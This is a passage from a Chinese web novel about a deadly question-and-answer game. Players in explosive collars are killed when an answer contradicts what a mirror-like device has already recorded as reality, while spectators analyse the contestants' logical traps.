场上几人都还没反应过来,便被一声可怕的爆炸震慑——
陈安游的狗环瞬间短线,脑袋被炸飞,无头尸体直挺挺倒下!
原本承载着她的无形“地面”仿佛开了个口,尚在抽搐的尸体从空中坠落。
李漫漫随着尸体垂下呆滞的目光,看着它消失在场地下方那些神秘的灰雾中。
仿佛从未出现过。
场地内安静了几秒。
“嘻嘻,这就死了一个了?真没用……不过,这是为什么呢……”
……
“老大,这是为什么啊??”
范诺琪困惑地摆弄着头发:“为什么同一个问题,西边那人就可以回答’不知道‘,南边的玩家就要被淘汰啊?”
“咱就是说,该不会有啥隐藏规则吧?总不会纯拼运气?”罗冰站到范诺琪身边,偷偷将一个掉到发尾的红色发卡拔下来。
“嗯……”范诺琪露出思索的神色,转头问了句:“七哥八哥你们觉得呢?”
青七筒、青八筒对视一眼,也都摇摇头。
“不是运气游戏。南边的淘汰,应该是说错答案了。”王潇转身:“你们平时抢风牌的时候,该不会遇上这种看不懂的类型就当做‘运气’游戏玩吧?”
“不然呢?!”青八筒表情大骇,难道以前都玩错了?
王潇闭眼叹气,继续道:
“这个游戏说难也难,说简单也简单。你可以假设那装置就是一块空硬盘。第一遍问wifi密码的时候,答案就被它收录在内。”
“之后再问到‘我家的wifi密码’,就只能回答已经被收录的答案,否则会被判定为‘回答错误’。”
“主持人一开始提示了,‘你的答案将成为它的现实’。”
“得嘞,好像明白了!”罗冰最先反应过来:“那玩意儿就是个傻子,你告诉它一个问题的答案,它就死脑筋只记住这个答案,之后要是有人回答得跟一开始不一样,它就会把那人给弄死!?”
王潇笑着:“哈哈,很形象。”
“所以老大,所以……南边那女的要回答得跟西边那男的一字不差,对不?呃……”罗冰看向屏幕,在那“镜头”的无数镜面中,找到一句话:“是……‘卧槽我哪知道不是你谁啊’对吧?”
【我家wifi密码是:卧槽我哪知道不是你谁啊】
“嗯。如果我推测没错的话,应该是这样。”王潇顿了一下下巴,抬眼望着屏幕,盯着场上的画面,“再看看吧。”
“最后一局了,谁赢了就能进城。”
……
游戏场上,只剩下东、北、西三名玩家。
“镜头”又一次开口:“提问者与回答者身份互换……请曹彦旭选定一个镜中姓名,并问出你想问的问题。”
身份互换?
李漫漫木楞的表情没有一丝改变,只不过心里却七上八下:玩家变成了提问者?要问镜中的人?
所以,镜子里那四个名字,“丁耀霖”、“秦泽新”、“郭丹妮”、“沈墨棠”是刚才的提问者?
另外三人和丁耀霖一样,都是其他三个阵营各自被票出的人吗?
而且……
“欸,我嘞?”李漫漫突然意识到,自己都还没被问过问题呢,怎么就“身份互换”了?
这游戏真是不按常理出牌啊……
不知道东边那个神经病会怎么应对。
李漫漫将注意力转向东边,曹彦旭的声音刚好响起,是一句稍显复杂的疑问:
“向沈墨棠提问:所有0、1、2、3、4、5等等这类整数当中,任意相邻的两个整数之间都相差多少?”
这问题一抛出,“镜头”便用它那种独特的声音再次重复:
“向沈墨棠提问:所有0、1、2、3、4、5等等这类整数当中,任意相邻的两个整数之间都相差多少?”
李漫漫忍不住多看了曹彦旭两眼:这,怎么突然问起数学来了?这神经病该不会是阿斯伯格综合症吧?
不过她仔细听题,认真想了一下……发现问题好像也不难……
“任意相邻的两个整数之间”不都相差“1”吗?
那个叫“沈墨棠”的应该就是东阵营被票出的人吧,但凡她有个小学文凭,应该都能答得上来吧?
……
“嗯?这个玩家有点不对劲。”
王潇按着吧台直起身,让眼睛尽量离屏幕近一些。
“老大你怎么了?”这举动把旁边的范诺琪吓一跳,她赶紧跟着看向屏幕里的曹彦旭,“怎么?哪里不对劲?他……他把问题搞太难了?”
王潇摇头:“不是难不难的事,而是……”
她停顿两秒,自言自语般说了句:“这人可能已经在设陷阱了……”
“陷阱?”
范诺琪不明所以,看向吧台附近的三个筒子们,他们也都满头雾水——果然不是他们擅长的。
又看向王潇,王潇已经独自拧起眉头。
不对劲。那个叫做曹彦旭的玩家,为什么这么快就反应过来,还能够在这么短的时间内开始布局?是大庄家看走眼了吗?其实这组新人里,真正的最强大脑不是沈墨棠,而是这个曹彦旭?
在【有问必答】中,“镜头”的功能是收录游戏过程中每个问题的答案,但并不在意答案本身的对错——那么正如主持人所说,玩家的回答实际上是对“镜头”认知的塑造和定义。
例如有人问“所有的水是不是都是白色”,回答了“是”。那么在“镜头”的认知里所有的水就都应该是“白色”。
若是后续又有关于“水的颜色”的问题,那回答者就该当心了——如果没有回答“白色”则会直接被判定为“回答错误”惨遭淘汰!
王潇在永夜城内身经百战,很快看穿了曹彦旭这么问的用意:
在常规话语体系里,想要问一个让人在10秒内无法回答的问题,只需要随意出一道计算题即可——例如“2345除以1234等于多少”这类,若非心算大师,普通人不靠任何工具,在10秒内完全不可能算出正确答案。
但在“镜头”随心所欲的回答规则下,回答者可以随便喊个答案,例如“0”、“水果酱”、“电视”、“台球”、“我好饿啊”等等风马牛不相及的东西,反正第一次记录都不算错误。
所以,想在游戏中将人问倒,就必
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须先对“镜头”这张白纸加以塑造。
而数学,是对世界本质抽象化、逻辑化的最佳工具!
例如先用第一个问题定义“相邻的两个整数之间相差为1”,再用第二个问题问“1和2之间相差几”,这样回答者在面对第二个问题时就不能胡乱作答,必须老老实实回答“1和2之间相差1”,否则对“镜头”而言就是回答错误。
先定义好“整数”的概念,再定义好“乘法”、“除法”的概念……就像蜘蛛一条条织起捕猎的网,然后利用这套逻辑,对回答者发起致命一击!
王潇紧紧盯着画面里的曹彦旭。
他就像一个沉稳的猎手,狠毒而有耐心的蜘蛛,准备编织一张足以让任何聪明人都难以逃脱的“网”!
“这人有点东西。沈墨棠危险了……”
……
“美妙绝伦的数字,正适合用来终结这场逻辑游戏!”
曹彦旭得意轻笑,阴冷的双目放出幽光,脸上的神情更为扭曲。
他能感觉到,在与眼前“镜头”对话的同时,自己仿佛是定义一切的神明,能左右它的认知和规则。
驯化它,随后掌控所有人生死!掌控游戏!
4。
3。
2。
1。
“镜头”变化出的10秒倒计时走到最后一秒,才迅速回到“人类头颅”的形态,无数镜面里多出一句话:
【所有0、1、2、3、4、5等等这类整数当中,任意相邻的两个整数之间都相差:去你大爷】
“嗯……!”
去你大爷?!
这就是沈墨棠的回答?
第一次参与游戏的玩家,为了避免莫名其妙淘汰,都会尽量回答在常识中的正确答案。遵照常理,她不应该是回答“1”的吗!
曹彦旭无语到失笑——心中的“数学大楼”刚要打上第一根地基,就直接被扬了!
他眼神一冷,狠狠咬着牙:“哼,沈墨棠……不上当啊?不愧是他们想要的人,确实没那么容易搞定。”
“哈哈,也好,胜利的果实总是要多在树上挂一会,才会格外甜美!”
“最后一回合赢得太轻松,我进城后也容易树大招风。”
“谢谢你啊,连这都为我考虑到了。”
“哦,我也好心提醒你——可别以为我只准备了一套必胜法……咱们走着瞧!”
曹彦旭默默咬紧后槽牙,尽量不动声色。
但李漫漫还是看出,东边这个神经病的表情少了一些自信,多了一些莫名的憎恨。
“请李漫漫选定一个镜中姓名,并问出你想问的问题。”
诡异的“镜头”再次发声。
欸?轮到我了?
我也能问问题?
李漫漫猛地抬头。
我不用回答问题吗?直接当提问者?
她看着破碎镜面内飘荡的名字,反应了片刻,终于开口,声音莫名其妙变得很大,整个场地都听得清:
“问丁耀霖,你是死了吗?”
“镜头”重复了几遍:
“向丁耀霖提问:你是死了吗?”
“向丁耀霖提问:你是死了吗?”
10。
9。
8。
7。
6。
5。
4。
3。
2。
1。
0。
“镜头”回到“人类头颅”形态,开口说道:“回答超时!”
镜子里,“丁耀霖”的名字彻底消失。
56. 彩虹节拍-紫4
“请高洁选定一个镜中姓名,并问出你想问的问题。”
很快就轮到西边的“无眉男”。
他眯了眯眼,像是从“镜头”中找到一些蛛丝马迹,紧接着,胸有成竹地问出自己的问题:“我要问秦泽欣:我家wifi密码是多少?”
“镜头”随即重复:“向秦泽欣提问:我家wifi密码是多少?”
“向秦泽欣提问:我家wifi密码是多少?”
又来?
李漫漫抬眼,心想这个题目已经把南边的那位送走了,这“无眉男”还问?
而且这个问题最初应该就是这个叫“秦泽欣”的人提出的——“无眉男”是准备以彼之道还施彼身吗?
果然,如李漫漫所想,“镜头”倒计时几秒后,很快回到常规状态。
镜子里飘过的话没有变:【我家wifi密码是:卧槽我哪知道不是你谁啊】
“嘻嘻,大家都发现这个游戏的规律了啊……”
李漫漫像一只站在半空中的奇怪鸟类,脑袋一动不动,双眼却缓缓来回瞟过,关注着游戏场上的变化。
有人直接被“爆头”的冲击,让所有人都调整出最好的状态,努力适应游戏规则呢。
人类恐惧死亡时所散发出来的味道,可真美妙啊!
她伸手摘下狗环上的一叶香菜叶,旁若无人地放入口中咀嚼,“嘻嘻,都懂了呢,问到之前有过的问题,就要回答之前回答的答案才行……欸?”
没等李漫漫嘀咕完,那巨大的“镜头”忽然又进行改变——
光点和虚无在那无数破碎的镜面之间悄然滋生,透明的晶体犹如细菌滋生,发出被放大了无数倍的爬行和咀嚼声,那散发着浓烈铁锈味的声音从最幽深的未知中传出:
“接下来是1分钟人鬼交流时间!”
说完这句话,“镜头”开始微微旋转,幻化出四张人类的脸庞,全部由那破碎的镜子们组成,不停变化着。
每一副面孔时而朝这边,时而朝那边,幻化不停。
“欸?人鬼交流?”
虽然仅仅只有一面之缘,但李漫漫还是认出了,那四张巨大面孔当中的一张,是在北大厅内见过的“丁耀霖”——然而此时他的表情静止不动,合着眼睛已然死寂。
剩下的三张面孔,应该就是其他三个阵营的“淘汰者”吧?
“是……真,真是你啊!你还没死!”西边的高洁因为太过惊讶,说话都打起磕巴。
他惊愕的对象,是四张巨大面孔当中,一个长着鹰钩鼻的男人脸庞。
那鹰钩鼻男似乎是听到高洁的声音,紧闭的双唇抖动了几下,引得“镜头”发出诡异的虫行声,看样子就是西阵营淘汰者“秦泽欣”:“骗子!你也有没想到的时候吗?”
“你……我,我骗你怎么了!”高洁凶恶的双目一冷,大声嘲笑道:“自己傻不拉几的,也不是我自己一个人投的你……他们都投了!呵呵……亏你还说自己是个卖车的,还销售冠军?你不骗人?社会没教会你骗人吗?!”
仿佛是要给自己找个毫无罪恶感的理由,高洁说着说着反问道:“倒是你!你们……怎么变成……你还是人吗?”
对啊,他们还是人吗?
李漫漫盯着场地中央这颗巨大的“镜头”,实在是匪夷所思。
破碎镜面组成的四张面孔虽然能动,但更像是某种机械装置,而非真正的活物。
总感觉,像是什么高科技的科技鬼怪。
李漫漫目光移向东边,倒是没从那变态神经病的脸上看出什么惊讶神色,一如既往的镇定呢。
看起来像是他早就清楚,场地上正在发生的奇景究竟是怎么回事。
事实也正如李漫漫所想,曹彦旭的眼中只剩下“镜头”里的沈墨棠。他扭曲的脸上突然有了笑容:“沈墨棠,很抱歉,你活不成了……”
“哦。”额头盖着湿漉漉刘海的女性面孔开口,五官立体,表情冷冽——正是沈墨棠:“曹老师。”
“呵呵,呵呵呵,哈哈哈!”曹彦旭忽然放肆大笑,笑声在整个游戏场地的四面高墙间回荡,飞向高处。
他仰头大喊:“沈墨棠!你还没搞明白吧!他们只在乎那个计划!他们只在乎那个计划!”
“计划?”
“哈哈哈哈!等你们都知道真相了,就没人愿意这么醒着了,哈哈哈哈!回去睡吧!这里没意义的!没意义的!”
曹彦旭突然疯疯癫癫大喊大叫自言自语起来。
无人回应。
大家甚至无法确定他说的确有其事,又或是他自己的痴狂幻想……一分钟的时间,就在那所谓“意义”、“计划”、“我一定会赢”的模糊说法中迅速流逝。
“交流结束。”
很快,四张巨大的“淘汰者”面孔消失,“镜头”重新回到抽象的“人类头颅”形态,开口说话:
“提问者与回答者身份互换。”
“嘻嘻,果然是个神经病呢!”李漫漫视线从曹彦旭身上挪开,瞥向场地中央,“欸,所以现在算是进入第二轮游戏吗?”
场上幸存的东、北、西三名玩家又换回到“回答者”的身份,等待“镜头”说出淘汰者们的问题。
“鬼问人问题,答错了或没回答就直接淘汰?”李漫漫大致理解了【有问必答】玩的是什么,但还是有许多问题理不清楚——
为什么每个阵营最初被票出的玩家,会成为“镜头”里的鬼?
他们还活着吗?他们要攻击活着的玩家吗?他们这是想回来复仇吗?
通过“问问题”的方式?
另外,不只有“鬼”能问问题,根据主持人的第二条说法——“2,你总会等到向镜子提问的机会,那是你活下来的意义”——场上玩家也可以去问“鬼”。
鬼可以选择向任意玩家提问,玩家也可以选择向任意鬼提问。
那么,这场【有问必答】到底怎么才算赢?
应该和之前几场游戏一样,都是场上只剩最后一个玩家就能赢吧?
所以……要是有个暴力狂在这里……呃……暴力手段似乎行不通……
李漫漫在最初就尝试过往旁边移动。
但身体像是被固定在半空中的某一个点,又或是身处真空环境的感觉,脚底除了能感受到有什么无形的东西承载着自己,其他无法产生任何接力点,更无法进行移动。
一切都太过诡异,在这足球场大小的空间内,仿佛连基本的物理规则都已经被扭曲。
“还行吧……”
李漫漫心里清楚,玩家之间无法进行肢体接触,对自己而言倒是一种优势——她可没信心能打得过东、西两个男性。
而且,刚才第一轮的时候,丁耀霖因为“回答超时”,已经游戏失败。
所以自己现在算是不受威胁了?
毕竟北阵营中要复仇的“鬼”都下线了,其他阵营的淘汰者应该不会那么“咸吃萝卜淡操心”选择对她提问吧?
脑子里开了个小会的李漫漫,呆滞的目光忽然轻轻抬起,望着巨大的装置:
不是该“鬼”提问了吗?怎么还没开始问?
诡异的沉默在场上持续许久,“镜头”才虚无地发出声音:
“向高洁提问:你家wifi密码是多少?”
“欸?”李漫漫略显无语:“想了半天,就还是问这个?这wifi密码没完没了了是吧?到底是谁家的破网!”
这问题向高洁问的……应该还是那个叫做秦泽欣的鹰钩鼻男提的吧?
西边的高洁也颇为尴尬,他清楚“已经问过的问题”必须回答“已经回答过的答案”,于是在10秒倒计时内,迅速从那无数破碎的镜面里找到答案:“卧槽,我哪知道,不是,你谁啊。”
还好,10秒的回答时间足够念完。
于是镜子里又被添加了一句
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新的话语:
【你家wifi密码是:卧槽我哪知道不是你谁啊】
“嗯?!”
李漫漫对这句新收录的回答打量一番,才发现了细微处的不同——“我家”和“你家”。
对哦,这次秦泽欣问的是“你家”。
主语不同。
所以现在游戏里一共有两个和wifi密码相关的问题,分别是“我家wifi密码是多少”和“你家wifi密码是多少”,两个问题的答案都是“卧槽我哪知道不是你谁啊”。
也就是说,不同的问题,可以有相同的答案?
李漫漫这么想着的同时,却听见东边发出“呵呵”的隐隐笑声。
只见曹彦旭咧着一张嘴,疯狂的笑声犹如灾后余震,在新的问题出来后,响了两声,才彻底安静。
“嘻嘻,真是个神经病啊……”
李漫漫瞥了眼曹彦旭勾着的嘴角,莫名感到一种同类带来的亲切。
又过了一阵长时间的沉默,“镜头”再次开口:“提问者与回答者身份互换”。
“欸?这就换了?”
李漫漫从狗环上扯下一片香菜,随手往地上一丢。
所以这轮“鬼”只问了一个问题?
只有秦泽欣问了?其他两个人呢?沈墨棠和郭丹妮?
难道她们也……就像第一轮的丁耀霖那样……变成“死寂”状态了?
所以玩家如果向她们提问,她们是不是也会和丁耀霖一样“回答超时”彻底下线?
……
“老大,她明明还活着,为什么不问啊?这又是什么玩法啊?”
酒店顶层俱乐部内,范诺琪疑惑抬着脑袋:“南城新人不问我可以理解,反正她场上的人已经淘汰了,可以开始摆烂。”
“但是我们东城那个新人,就沈墨棠,是失误吗?还是直接放弃啊?她现在可就差一回合啊,如果这里曹彦旭赢了,她就死定了!”
“她不会忘了吧?要完成‘四次献祭’啊!”
“太冷了吗?”旁边的王潇忧心忡忡,心里早已急得扑扑直跳,但只能摇头:“小姑娘看起来身体有点虚……”
……
水棺冷得堪比冰窖,身体四肢毫无知觉,仅有的温度只能尽力蜷缩在心脏处,维持它迸出血液,供给大脑。
没有泡在冷水中的脑袋,是沈墨棠此时唯一能依赖的武器。
她面色发灰,嘴唇发白,湿漉漉的发丝皱成一缕缕,贴在额头和鬓角。狗环的倒计时一秒一秒流逝,触屏的荧光在水棺内照出道道幻影。
虚弱的目光盯着触屏画面内,那漂浮在空中的“镜头”。
沈墨棠是故意不进行提问的。
因为她清楚,【有问必答】对于水棺内的“鬼”而言,十分不利!
刘海下的眼睛严肃地眯起。
或许“镜头”在游戏场上看起来十分巨大,可通过“水棺”的小小屏幕却难以看清它——这是只有真正身处水棺的人才会注意到的细节。
不论是“人”还是“鬼”,面对已经提过的问题,需要在十秒内从那些破碎镜面中找出答案。
随着游戏进行,答案必然会越积越多,寻找起来也会变得困难。
“鬼”只能通过小小的屏幕画面来找,比起场上玩家肯定处于绝对的劣势。
所以,在没绝对获胜的把握前,先尽量降低“镜头”内收录的信息,这样能争取更多的思考时间。
另外,还有一个隐患需要顾虑……
总之,贸然提问,并不是最好的策略。
“嘶……!”
沈墨棠在水中猛地一抖,身体自骨髓内涌出刺痛!
太冷了!
不行,再这么拖下去,就算没被问倒,自己也要先一步失温而死!
目前能做的,就是保持镇定,尽快找到能一击结束游戏的办法。
必须速战速决!
57. 彩虹节拍-紫5
随着第二次“提问者和回答者身份互换”后,触屏很快发出虚幻的声音:
“向沈墨棠提问:游戏开始后,沈墨棠提了几个问题?”
随后是十秒倒计时:10、9、8……
“……”
沈墨棠甩了甩几乎被冻僵的脑袋,强迫自己打起精神!
这种问题,肯定又是曹彦旭问的吧?
又是个数字题?也是个陷阱吗?
相比起前一个关于“数学定义”的问题,这个问题似乎没那么“歹毒”?
只是单纯的询问?
7、6、5……
不行,这里好冷,连大脑都快转不起来了。
这个问题……这个问题……还能“已读乱回”吗?
游戏开始之后,已经发生过的一切……以及系统关于“对”与“错”的判定……
“你的答案将成为它的现实”——这句话是仅仅根据已经收录过的问题和答案作为参考,还是说会将游戏过程中所发生的事情都算进去?
【有问必答】的游戏规则如此不透明,唯一的参考只有主持人开头的两句话。
曹彦旭那副模样,他是知道些什么吗?
又或者,他只是在虚张声势?
4、3……
沈墨棠忍不住在水棺内费力换了个姿势,打开自己因为保持“C”字形而压迫的心肺,大口呼吸。
哗啦啦的水来回晃动,溅湿了她的头发和脸颊。
稀薄的氧气融入血液,被搏动的心脏送往大脑,昏昏沉沉的意识随之一振,麻木的身体也又一次感受到那种致死的痛苦极寒。
——不对!
这个问题,比第一轮的“数字定义”更加歹毒!
是个彻彻底底的陷阱!
2、1……
……
“镜头”收录了一条新的内容:
【游戏开始后,沈墨棠提了几个问题:二货】
“呃!”
游戏场地上,曹彦旭望着镜面内飘过的回答,咬牙一噎。
始终不正面回应吗?
没关系,继续这样吧。
这样,你最终会掉入一个难以觉察的陷阱里!
“沈墨棠,呵呵……没关系,你越聪明越好玩……别急,呵呵呵,总会有你躲不过去的时候!”
……
东城,酒店顶层俱乐部。
“好恐怖的压迫感……”王潇没有觉察到,她盯着电视的神情已经如此严肃,不由自主发出感叹。
旁边范诺琪费解地跟上王潇的视线:“老大,你怎么了?这两个新人很厉害吗?”
“是提问的那个人。他的问题,都很致命。”
“致命?”范诺琪瞥了眼电视画面,疑惑道:“不就是‘问了几个问题’吗?而且都是新问题,随便回答不就行了?”
“不能正面回答。”
“啊?”
“嗯。”王潇眉头微蹙,“你再想想主持人一开始说的话。”
“一开始?”
“你的答案将成为它的现实。”王潇突然发现自己双肩已经紧绷许久,可能是受大庄家的影响,让她对沈墨棠有着过多的期待,因此惴惴不安。意识到自己的问题后,她连忙悄悄缓口气,恢复平常心解释道:
“这里的‘现实’,恐怕不仅仅是指答案——玩家在场上的一切,都有可能包含进所谓的‘现实’。你想想,如果你回答他的问题,你怎么回答?一个?还是两个?”
“回答了,就会变成现实。”一直在旁边听着的罗冰恍然大悟,拍桌而起:“我知道了老大!如果回答了,那姐们在游戏里就只能问她说的个数的问题,否则会违反规则!对吧老大!是不是这意思!我靠,这家伙太刁钻了,他在钻规则的空子啊!”
“嗯,而且……”王潇微微一顿,“也不能顺着他的思路去回答。比如你回答个一千个,一万个也不行,不然必须在游戏结束前问满那么多问题才不算违反‘现实’。”
“违反的话,就会死……”
“嗯,所以最好的方式,就是像沈墨棠这样,不要正面回应。”王潇松了口气。
范诺琪反应过来,忽然感到背脊一阵发凉,抬头看向电视画面中的曹彦旭:“不是……这家伙,怎么那么鬼啊?”
……
“请李漫漫选定一个镜中姓名,并问出你想问的问题。”
曹彦旭之后,轮到李漫漫提问。
“欸?这游戏……好奇怪……”
她观察镜子里剩下的三个名字,心中犹豫着。
既然东边那个叫“沈墨棠”的“鬼”还能回答问题,那么她的状况就和丁耀霖不一样——所以刚刚三个“鬼”玩家中,有一个人故意不提问?
也就是说,如果没什么问题,可以跳过自己的提问环节对吧?
李漫漫紧紧盯着“镜头”,仿佛一个守灵的入殓师。
根据前面两轮的观察,游戏应该是按照“逆时针”的方向进行……曹彦旭之后,轮到她,然后再轮到西边的高洁……“鬼”也是如此。
所以刚才其实只有秦泽欣一只“鬼”提问,前后场上才会沉默那么久。
而顺位在秦泽欣之前的沈墨棠,和顺位在秦泽欣之后的郭丹妮,都没有进行提问。
那么“人”也可以跳过自己的提问吗?
反正提问期间也没有倒计时,游戏也没限制提问时间。
李漫漫心中轻笑一声。刚才“鬼”当中无人朝她提问,她也不提问的话,是不是就能相安无事?
她想了一会,紧接着面无表情,目光又变得呆滞,站在半空中保持缄默。
过了好一阵子,“镜头”才毫无征兆地开口:“请高洁选定一个镜中姓名,并问出你想问的问题。”
果然跳过了!
李漫漫眼神微颤,在发现就算自己没有进行提问也不会受到惩罚后,暗中松了口气。
只要将东边和西边这两个男的熬死,她就能在这场【有问必答】当中躺赢!
“到我了。”高洁搓了搓手。
虽然规则没有说明,但经过这两轮游戏后,大家也都发现提问的顺序应该是“鬼、人”交替,以逆时针方向进行。
高洁作为第二轮的最后一个提问者,经过刚才的“人鬼交流”公开对话,他的状态变得亢奋,神色中也透着一股贼眉鼠眼的怪异表情。
李漫漫将目光投向高洁,高洁眯着眼睛,忽然得意一笑:“就问秦泽欣,你觉得这场游戏谁能赢?”
“镜头”开口重复:
“向秦泽欣提问:你觉得这场游戏谁能赢?”
“向秦泽欣提问:你觉得这场游戏谁能赢?”
声音回荡,两秒后,镜面内加入了一句话:【你觉得这场游戏没人能赢。】
“呼呼!还是那么悲观,‘没人’?嗯……确实是小秦会说的答案。”高洁勾着嘴角,念叨了一句。
对人生悲观,对世界悲观的人,当然更会遭受背叛!这种人在世间活着,只是苟延残喘,纯粹因为害怕死亡而不去面对。
悲观的人,等来的从来不会是拯救,而是终结!
这个答案让高洁目光变得轻视——不论这个秦泽欣处在什么状态,他对自己都没有威胁。
“接下来是1分钟人鬼交流时间!”
神秘巨大的镜面装置遵循着某种规律,像是融雪春暖,日落月升,潮起潮落,又一次发出“吱吱吱”的咀嚼爬行声,随后展现出四张由无数破碎镜面组成的、活灵活现的脸庞——丁耀霖是死寂的,剩下三张面孔虚弱而疲惫。
“沈墨棠,我知道你不敢回答任何问题,那你就乖乖听我说。”
曹彦旭有力的声音阵阵响起,一副高高在上的口吻:“如果你真的是他们要的人,那你应该能想明白,维持你继续下去的动力吧?”
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场上沉默了几秒,不论是玩家还是淘汰者,都无人插嘴。
或许大家都在好奇这个“神经病”会爆出什么神奇言论吧。
曹彦旭目光冷了下来,语气低沉:“沈墨棠,我们都是一类人,操纵他人生死快乐吗?让你感受到前所未有的颤栗吗?享受这种感觉吗?但你知道吗,你知道的吧,嗯,你知道……死亡对我们而言毫无意义,对这个世界也是,无非就是换了个不那么痛苦的地方做梦……”
“想清楚了吗?让你继续下去的理由?呵呵呵呵……不想死?不是的,你不是这么想的对吧。”
“我知道的,我理解你,沈墨棠。我们都不在乎死,你和我当初一样,只在乎真相,只在乎永夜城到底为了什么!不,呵呵呵……它什么都不是,它,他们,还有那个狗屁的计划,那只是狗屁!沈墨棠,你懂吗?什么都不是!还有你,你也什么都不是!你知道的,你会知道我想要的是什么……你成全我,你去死成全我好不好?”
“让我进去,终结他们。”
曹彦旭停了一会,说出最后这八个字,掷地有声仿佛在立下什么天地誓言。
“喂。”西边的高洁终于忍不住问了句:“那个,你说了半天,计划到底是什么?你知道这里是什么地方啊?”
几秒过后,场上仍旧沉默,曹彦旭仿佛没听见一般。
“神经病!”李漫漫看着场上另外两个人,默默调整狗环上的葡萄梗。
太扎了,跟这两个神经病一样让人不舒服呢。
沉默中,1分钟的交流时间很快结束。
曹彦旭最后只低声喃喃了句“这些都没有意义”。
“镜头”回到“人类头颅”状态。
提问声很快在游戏场地内回荡,虚无缥缈的话语宛若死灵复苏的宣言:“向李漫漫提问:在【有问必答】游戏里,李漫漫会赢吗?”
“向李漫漫提问:在【有问必答】游戏里,李漫漫会赢吗?”
听清楚问题后,曹彦旭的表情猛地一变,显得狰狞而严肃:“沈墨棠,是你吧……你还是决定要挣扎吗?果然,被未知困住的人,还是会妄想能撕开那层网……痴心妄想!”
按照游戏的轮次方向,这个问题大概率是东阵营淘汰者问的。
也就是沈墨棠。
虽然李漫漫和高洁都不觉得这个问题有什么特别之处,但曹彦旭的神情仿佛是世界末日即将降临的样子!
“会。”北边的李漫漫并不管他。
她回答完,眼球死死盯着“镜头”,呆滞外表下是活跃的心思:如果主持人说得没错,“问题和答案”将成为这个未知装置的“现实”——那么告诉它自己会赢得这场游戏,是不是就会变成真的?
告诉这个跟AI大模型似的“镜头”说“李漫漫会赢”,它就会把这件事当真吧!
虽然不知道这个问题是哪只“鬼”问的,但这么好的机会,自己肯定要正面回答!
【在有问必答游戏里,李漫漫会赢。】
于是“镜头”又收录了这句话。
……
“挺上道。”
沈墨棠在寒冷的水棺内,点了点头。
她仿佛看见一个扔出的捕兽夹“啪嗒”布在曹彦旭前进的路上。
既然他能制造陷阱,那自己为什么不呢?
这个陷阱,需要一个人配合——而李漫漫果然如沈墨棠所想,开开心心帮忙设置好陷阱的机关。
沈墨棠只需等到下一次轮到自己提问,便可以激活这个陷阱!
她在冷水里缩紧身躯,尽力保持核心温度。
游戏继续,只听见触屏又传出“镜头”那种虚幻的声音:“向高洁提问:在【有问必答】游戏里,高洁会赢吗?”
“嗯?”
沈墨棠一愣。
按照顺序,现在是轮到西阵营的秦泽欣提问——他打算抢用这个陷阱?!
有意还是无意的?
58. 彩虹节拍-紫6
“看上去你的诡计被截胡了啊?沈墨棠?接下来你还有什么招?”
曹彦旭冷笑一声,轻蔑地盯着那些破碎镜面。
他双臂抱在胸前,以一种十分傲慢的姿态站在半空中,仿若是创造万物的神明在看着自己的杰作。
这是他的游戏,没人能比他更了解!
他心中清楚,沈墨棠向李漫漫问的问题,是为了给自己“布下陷阱”。
但可惜,现在这个“坑”被转移给了西边的高洁——就看西边的那个冤大头能不能避得开。
“镜头”又重复了一遍:“向高洁提问:在【有问必答】游戏里,高洁会赢吗?”
“当然会啊。”
高洁中气十足,自信满满,拍了一下自己无眉的额头。
上一回WiFi密码是他没注意,这回他听得可清楚了。
他忍不住发笑:秦泽欣,真是个鹦鹉学舌的蠢货,该不会以为自己还没注意到他跟上一个提问者的题目不同吧?一个被大家投票淘汰的失败者,竟然还想要挑战我?
简直可笑!
他冷笑两声,强烈的求生欲和获胜欲,一定会让他从气势上看起来就是胜利者!
想要获胜,首先就要坚信自己能取胜……
“回答错误!”
尖锐的哨音从“镜头”内奔涌而出,震得场地的空气似乎都发生扭曲,令人耳鼓发酸。
“等,等下!怎么回事?为什……”
错愕的高洁还没来及反应,便被爆炸的狗环永久地将嘴合上——“嘭!!!!!”
“傻子。”对面的曹彦旭面部微微抽搐,低低笑了声。
……
“为什么啊?”罗冰站在高脚椅的脚架上,感觉下一秒他就要直接上桌掀翻屏幕。
青八筒早已揉乱了自己一头金发,颓然趴在吧台上:“不晓得嘞,为啥子同样的问题,一个能答一个就不能嘞?”
“老大,你给分析分析吧,这到底是为什么?”范诺琪想了半天同样毫无头绪。
迎着几对目光的王潇,看向没有说话的青七筒。
青七筒连忙摆手:“别看我!老大,我能想明白才有鬼呢!”
“唉。”
王潇低头思索片刻,尝试组织语言:“是这样子的……你们看,那个镜子里虽然原本什么都没有,但它其实有一定的行为逻辑。”
“行为逻辑?”
“嗯。起初这个装置处在绝对的‘未知’状态,但随着游戏进行,我们能看到它有一套基本的行为逻辑——比如提问的方向都是按照逆时针、比如每次提问都会倒计时、比如会让玩家和淘汰者各提问完后进行交流……”
王潇端起青七筒推来的一杯水,小小喝了一口,继续道:“沈墨棠……哦,那个淘汰者,她肯定是看出这点,推断出装置遵照游戏的规则设置,于是就利用这点设下提问陷阱。”
“她?”罗冰盯着电视屏幕好一会,才坐回高脚椅上,嘴里什么都没有但仍兀自咀嚼着:“哎哟?这姐们原来这么厉害的吗?”
范诺琪白了罗冰一眼,随后问王潇:“老大,问题到底怎么了?”
王潇又咽下一口水:“你们觉得【有问必答】的游戏规则里,除了我刚才说的那些,还有什么?”
“什么……”
其他几人面面相觑。
“这个规则可能没办法直接看出来,这就是她设置陷阱的高明之处……”王潇似乎稍稍放下心,缓缓又喝了口水,才开口:“……你们觉得,这场游戏场上会有几个人能赢?”
“场上?”罗冰意识到什么,眼前一亮:“和之前几次一样,【彩虹节拍】里每个游戏都只能有一个胜利者!”
“对,每场游戏最多只会有一个胜者。”王潇微微一笑。
“懂了老大!”罗冰从高脚椅上跳起来,“因为这玩意儿遵循规则,在它的认知中【有问必答】场上的获胜者只能有一个,所以那个……那个那个……它认定李漫漫是获胜者后,其他人就不可能是获胜者!”
“啊?啥子哦?”青八筒抓了抓头发,困惑无比:“所以现在是那个北边的赢咯?”
“您别乱,八哥。”罗冰激动地在吧台外转了一圈,“那玩意儿认定的‘现实’,只按照它自己的逻辑……您就这样,您就当它里面装着个模拟程序,运行规则都会一条一条添加进这个程序里,但是啊,这程序只是它内部的模拟,和外界无关……然后,当玩家回答的违背这个程序里的逻辑,就会被淘汰!”
青八筒听得一愣一愣的,看了眼其他人,尴尬笑道:“哦?嘿嘿?我不太晓得电脑程序……”
“哈哈。年轻的脑子就是好使啊!没事,老八,咱们就在一边呆着吧!”青七筒摸了一下发亮的光头,同样尴尬揽着青八筒的肩膀。
